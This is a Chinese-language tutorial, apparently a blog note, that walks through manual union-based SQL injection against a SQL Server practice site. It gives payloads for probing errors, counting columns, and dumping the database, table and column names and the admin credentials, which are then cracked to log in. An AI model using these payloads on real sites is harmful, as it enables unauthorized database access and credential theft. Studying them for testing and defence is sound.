手工注入——sql server (mssql)注入實戰和分析

  • 2020 年 4 月 10 日
  • 筆記

前言

首先要對sql server進行初步的了解。
常用的全部變量
@@version:返回當前的Sql server安裝的版本、處理器體系結構、生成日期和操作系統。
@@servername:放回運行Sql server的本地服務器名稱
top
在sql server,沒有MySQL中的limit控制符,如果實現limit控制符功能則可以使用top進行代替。

正文

如果對方網站管理員沒有關閉錯誤消息提示,那麼

  ;declare @d int        //判斷sql server 支持多行語句查詢

  and (select count(1) from [sysobjects])>=0    //是否支持子查詢

  and user >0            //獲取當前數據庫用戶名

  and db_name>0    //獲取當前數據庫名稱

  and (select count(1) from [sysobjects])>=0   //當前數據庫名

  and 1=(select @@servername)        //本地服務名

這裡就不一一列舉了。

如果網站管理員關閉了錯誤提示,那就只能使用聯合查詢和盲注了。下面的靶場實例就是關閉錯誤頁面提示的情況下,通過聯合查詢獲得管理員賬號和密碼。

第一步,判斷注入點

通過觀察,發現公告的地方可以進行嘗試,如下圖

點擊公告,然後咱們 通過 and 1=1 和and 1=2 發現報錯, 說明這裡是注入點。如下圖

第二步,判斷字段數

通過 order by 語句,發現 order by 4 返回正常,order by 5 報錯,說明存在四個字段數,如下圖。

第三步,爆庫

使用聯合查詢,需要注意的是,使用聯合查詢時需要前面不可查詢,可以將參數2改為-2,也可以構造 and 1=2 兩種方式都可以。為了避免出現錯誤,四個字段,都用 null 代替,構造如下語句

union all select null,null,unll,unll  

然後用數字依次代替,判斷回顯位置,發現第二個字段顯示在頁面中,將第二個null 替換為 (select db_name()),具體語句為

union all select 1,(select db_name()), null, null 

 

結果為下圖,爆出了數據庫

第四步,爆表

知道數據庫名後,構造如下語句,爆出表名

 union all select 1,(select top 1 name from 庫名.dbo.sysobjects where xtype='u'), null,null

結果如下圖

第五步,爆字段

通過構造如下語句,可以爆出所有字段,

union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null

結果如下圖

第六步,獲取數據

通過構造如下語句

union all select 1,(select top 1 username from manage),null,null    union all select 1,(select top 1 password from manage),null,null

結果如下圖

第七步,解密,登陸。實戰結束

 

sql server(mssql)手工注入總結

第一步,判斷注入點。通過 and 1=1 和and 1=2 判斷,發現存在注入點,且為數據型。

第二步,判斷字段數 通過 order by 語句。

第三步,判斷回顯位置 通過 union all select null,null,unll,unll  用數字依次替換,發現,第二個位置回顯到頁面上。

第三步,爆庫,通過 union all select 1,(select db_name()), null, null (使用聯合查詢時,要使得前面不可查詢,所以將2改為-2)

第四步,爆表,通過 union all select 1,(select top 1 name from 庫名.dbo.sysobjects where xtype=’u’), null,null

第五步,爆字段,通過 union all select 1,(select top 1 col_name(object_id(‘manage’),1) from sysobjects), null,null (變換後面得數字1,可以查詢出所有字段)
第七步,獲取數據,通過 union all select1, (select top 1 字段 from 表名),null,null
第八步,解密,登陸。